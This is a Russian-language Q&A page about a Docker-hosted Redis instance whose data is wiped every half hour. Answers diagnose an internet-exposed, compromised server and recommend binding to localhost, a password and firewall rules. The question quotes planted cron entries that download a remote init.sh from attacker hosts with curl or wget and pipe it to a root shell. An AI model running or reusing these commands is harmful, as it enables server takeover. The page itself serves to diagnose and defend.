Вопрос или проблема
У меня запущен Redis в docker, запущенный с помощью команды:
docker run -d –restart unless-stopped -p 6379:6379 redis/redis-stack-server:latest
Однако, все данные внутри Redis, включая индексы, удаляются каждые 30 минут. Я не знаю, почему это происходит.
Может быть, это связано с тем, что VPS, на котором я запускаю docker, очень ограничен по ресурсам?
Характеристики VPS: 1 ядро CPU, 1 ГБ RAM и swap, 20 ГБ памяти. ОС — Ubuntu 22.04. Провайдер VPS — RackNerd. Я запускал тот же docker-redis на VPS с такими же характеристиками у OVH без каких-либо проблем.
Я использую Redis в docker, потому что хочу использовать функциональность Redisearch.
Каждые несколько часов в redis появляются ключи с именами backup1 backup2 backup3 backup4. Вот значение для каждого из ключей:
backup1 : */2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh
backup2: */3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh
backup3: */4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh
backup4: */5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh
Вот логи docker:
root@racknerd-d76c238:~# docker logs b4bb752bcda8
8:C 08 Jan 2025 04:51:49.757 # WARNING Memory overcommit must be enabled! Without it, a background save or replication may fail under low memory condition. Being disabled, it can also cause failures without low memory condition, see https://github.com/jemalloc/jemalloc/issues/1328. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
8:C 08 Jan 2025 04:51:49.759 * oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
8:C 08 Jan 2025 04:51:49.759 * Redis version=7.4.1, bits=64, commit=00000000, modified=0, pid=8, just started
8:C 08 Jan 2025 04:51:49.759 * Configuration loaded
8:M 08 Jan 2025 04:51:49.761 * Increased maximum number of open files to 10032 (it was originally set to 1024).
8:M 08 Jan 2025 04:51:49.761 * monotonic clock: POSIX clock_gettime
8:M 08 Jan 2025 04:51:49.766 * Running mode=standalone, port=6379.
8:M 08 Jan 2025 04:51:49.768 * Module 'RedisCompat' loaded from /opt/redis-stack/lib/rediscompat.so
8:M 08 Jan 2025 04:51:49.790 * <search> Redis version found by RedisSearch : 7.4.1 - oss
8:M 08 Jan 2025 04:51:49.790 * <search> RediSearch version 2.10.5 (Git=2.10-e2f2 8a9)
8:M 08 Jan 2025 04:51:49.791 * <search> Low level api version 1 initialized successfully
8:M 08 Jan 2025 04:51:49.791 * <search> gc: ON, prefix min length: 2, min word length to stem: 4, prefix max expansions: 200, query timeout (ms): 500, timeout policy: return, cursor read size: 1000, cursor max idle (ms): 300000, max doctable size: 1000000, max number of search results: 10000,
8:M 08 Jan 2025 04:51:49.791 * <search> Initialized thread pools!
8:M 08 Jan 2025 04:51:49.793 * <search> Enabled role change notification
8:M 08 Jan 2025 04:51:49.793 * Module 'search' loaded from /opt/redis-stack/lib/redisearch.so
8:M 08 Jan 2025 04:51:49.804 * <timeseries> RedisTimeSeries version 11202, git_sha=5643fd4d6fcb1e9cf084fb2deb9285b08f4a6672
8:M 08 Jan 2025 04:51:49.805 * <timeseries> Redis version found by RedisTimeSeries : 7.4.1 - oss
8:M 08 Jan 2025 04:51:49.805 * <timeseries> loaded default CHUNK_SIZE_BYTES policy: 4096
8:M 08 Jan 2025 04:51:49.805 * <timeseries> loaded server DUPLICATE_POLICY: block
8:M 08 Jan 2025 04:51:49.805 * <timeseries> loaded default IGNORE_MAX_TIME_DIFF:0
8:M 08 Jan 2025 04:51:49.805 * <timeseries> loaded default IGNORE_MAX_VAL_DIFF:0.000000
8:M 08 Jan 2025 04:51:49.805 * <timeseries> Setting default series ENCODING to:compressed
8:M 08 Jan 2025 04:51:49.806 * <timeseries> Detected redis oss
8:M 08 Jan 2025 04:51:49.806 * Module 'timeseries' loaded from /opt/redis-stack/lib/redistimeseries.so
8:M 08 Jan 2025 04:51:49.816 * <ReJSON> Created new data type 'ReJSON-RL'
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> version: 20803 git sha: unknown branch:unknown
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V1 API
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V2 API
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V3 API
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V4 API
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V5 API
8:M 08 Jan 2025 04:51:49.819 * <ReJSON> Enabled diskless replication
8:M 08 Jan 2025 04:51:49.819 * Module 'ReJSON' loaded from /opt/redis-stack/lib/rejson.so
8:M 08 Jan 2025 04:51:49.819 * <search> Acquired RedisJSON_V5 API
8:M 08 Jan 2025 04:51:49.822 * <bf> RedisBloom version 2.8.2 (Git=unknown)
8:M 08 Jan 2025 04:51:49.823 * Module 'bf' loaded from /opt/redis-stack/lib/redi sbloom.so
8:M 08 Jan 2025 04:51:49.832 * <redisgears_2> Created new data type 'GearsType'
8:M 08 Jan 2025 04:51:49.835 * <redisgears_2> Detected redis oss
8:M 08 Jan 2025 04:51:49.838 # <redisgears_2> could not initialize RedisAI_InitError
8:M 08 Jan 2025 04:51:49.838 * <redisgears_2> Failed loading RedisAI API.
8:M 08 Jan 2025 04:51:49.838 * <redisgears_2> RedisGears v2.0.20, sha="9b737886bf825fe29ddc2f8da81f73cbe0b4e858", build_type="release", built_for="Linux-ubuntu2 2.04.x86_64", redis_version:'7.4.1', enterprise:'false'.
8:M 08 Jan 2025 04:51:49.881 * <redisgears_2> Registered backend: js.
8:M 08 Jan 2025 04:51:49.890 * Module 'redisgears_2' loaded from /opt/redis-stack/lib/redisgears.so
8:M 08 Jan 2025 04:51:49.891 * Server initialized
8:M 08 Jan 2025 04:51:49.892 * Ready to accept connections tcp
8:M 08 Jan 2025 05:04:19.697 * DB saved on disk
8:M 08 Jan 2025 05:04:20.167 * <redisgears_2> Got a flush started event
8:M 08 Jan 2025 05:04:20.172 * DB saved on disk
8:M 08 Jan 2025 05:04:21.850 * DB saved on disk
8:M 08 Jan 2025 05:04:22.318 * DB saved on disk
8:M 08 Jan 2025 05:04:22.565 * <redisgears_2> Got a flush started event
8:M 08 Jan 2025 05:04:22.568 * DB saved on disk
8:M 08 Jan 2025 05:04:24.255 * DB saved on disk
8:M 08 Jan 2025 05:04:24.965 * DB saved on disk
8:M 08 Jan 2025 05:11:27.270 * <module> Scanning index idx:delivery in background
8:M 08 Jan 2025 05:11:27.270 * <module> Scanning index idx:delivery in background: done (scanned=0)
8:M 08 Jan 2025 05:11:27.270 * <module> Scanning index idx:ehailing in background
8:M 08 Jan 2025 05:11:27.271 * <module> Scanning index idx:ehailing in background: done (scanned=0)
8:M 08 Jan 2025 05:11:27.271 * <module> Scanning index idx:product in background
8:M 08 Jan 2025 05:11:27.271 * <module> Scanning index idx:product in background: done (scanned=0)
8:M 08 Jan 2025 05:46:37.355 * DB saved on disk
8:M 08 Jan 2025 05:46:37.746 * <redisgears_2> Got a flush started event
8:M 08 Jan 2025 05:46:37.750 * DB saved on disk
8:M 08 Jan 2025 05:46:39.517 * DB saved on disk
8:M 08 Jan 2025 05:46:39.910 * DB saved on disk
8:M 08 Jan 2025 05:46:40.104 * <redisgears_2> Got a flush started event
8:M 08 Jan 2025 05:46:40.107 * DB saved on disk
8:M 08 Jan 2025 05:46:41.466 * DB saved on disk
8:M 08 Jan 2025 05:46:42.050 * DB saved on disk
8:M 08 Jan 2025 06:21:30.817 * <module> Scanning index idx:business in background
8:M 08 Jan 2025 06:21:30.822 * <module> Scanning index idx:business in background: done (scanned=0)
8:M 08 Jan 2025 06:21:30.823 * <module> Scanning index idx:delivery in background
8:M 08 Jan 2025 06:21:30.825 * <module> Scanning index idx:delivery in background: done (scanned=0)
8:M 08 Jan 2025 06:21:30.826 * <module> Scanning index idx:ehailing in background
8:M 08 Jan 2025 06:21:30.827 * <module> Scanning index idx:ehailing in background: done (scanned=0)
8:M 08 Jan 2025 06:21:30.828 * <module> Scanning index idx:product in background
8:M 08 Jan 2025 06:21:30.831 * <module> Scanning index idx:product in background: done (scanned=0)
8:M 08 Jan 2025 06:46:43.095 * 1 changes in 3600 seconds. Saving...
8:M 08 Jan 2025 06:46:43.105 * Background saving started by pid 29
29:C 08 Jan 2025 06:46:43.123 * DB saved on disk
29:C 08 Jan 2025 06:46:43.124 * Fork CoW for RDB: current 0 MB, peak 0 MB, average 0 MB
8:M 08 Jan 2025 06:46:43.207 * Background saving terminated with success
Поздравляем, вы подвергли redis в интернете, и кто-то его атаковал.
Теперь это уже не ваш сервер базы данных; кто-то использует его в своих целях. Вам необходимо обезопасить его, настроив либо сильную аутентификацию, либо брандмауэр так, чтобы он не был доступен в Интернете.
Ответ или решение
Ваша проблема связана с тем, что Redis, запущенный в Docker, фактически открыт для доступа в сеть, и кто-то, вероятно, скомпрометировал ваш сервер для своих целей. Рекомендуется предпринять шаги по обеспечению безопасности вашего Redis-сервера. Давайте разберем все детали и способы решения этой проблемы.
Факты
-
Docker и Redis:
- Redis запущен в контейнере Docker с использованием команды
docker run -d --restart unless-stopped -p 6379:6379 redis/redis-stack-server:latest
. - Ваш сервер автоматически перезапускается, и в результате, Redis становится доступным для сети без надлежащей защиты.
- Redis запущен в контейнере Docker с использованием команды
-
Системные ресурсы:
- Ваш VPS имеет ограниченные ресурсы: 1 ядро процессора, 1 ГБ RAM и 20 ГБ пространства для хранения. Хотя эти ресурсы минимальны, они вероятно не являются причиной удаления данных.
-
Подозрительные активности:
- Каждые несколько часов появляются ключи
backup1
,backup2
,backup3
,backup4
, с содержимым, которое включает команды для выполнения внешних скриптов. Это явный признак того, что ваш Redis-сервер скомпрометирован.
- Каждые несколько часов появляются ключи
Проблема
Redis-серверы с удовольствием используются злоумышленниками для выполнения ваших программ, таких как запуск внешних скриптов. Это происходит из-за недостатка безопасности — Redis, открытый для сети без авторизации, становится легкой мишенью.
Решение
Следуйте рекомендациям ниже, чтобы обезопасить ваш Redis и предотвратить дальнейшие атаки:
-
Ограничение доступа к Redis:
- Настройте Redis на прослушивание только localhost, добавив в конфигурацию Redis (redis.conf) строку
bind 127.0.0.1
. - Если Redis не должен быть доступен извне, закройте порт 6379 с помощью правил брандмауэра (например, iptables или ufw на Ubuntu).
- Настройте Redis на прослушивание только localhost, добавив в конфигурацию Redis (redis.conf) строку
-
Настройка аутентификации:
- Установите пароль для Redis, добавив
requirepass ваш_пароль
в redis.conf, чтобы воспрепятствовать несанкционированному доступу.
- Установите пароль для Redis, добавив
-
Мониторинг и обновления:
- Следите за обновлениями безопасности Docker, Redis и системы. Регулярно устанавливайте обновления для устранения уязвимостей.
- Настройте журналы аудита, чтобы отслеживать подозрительные активности.
-
Проверьте систему на компрометацию:
- Сканируйте систему на наличие вредоносных скриптов и программ.
- Обратите внимание на конфигурацию запуска Docker, и убедитесь, что она соответствует лучшим практикам безопасности.
Заключение
Открытые для сети Redis-серверы особенно уязвимы перед атаками. Следуя описанным выше шагам, вы сможете обеспечить безопасность своего Docker-контейнера с Redis и предотвратить лишние риски. Для дополнительной уверенности проверьте документы и официальные рекомендации по безопасности от Redis и Docker. Это критически важно для защиты ваших данных и ресурсов вашего сервера.
Используйте указанные рекомендации для оптимизации безопасности вашего сервера, это не только улучшит его работу, но и защитит вашу систему от нежелательных вмешательств.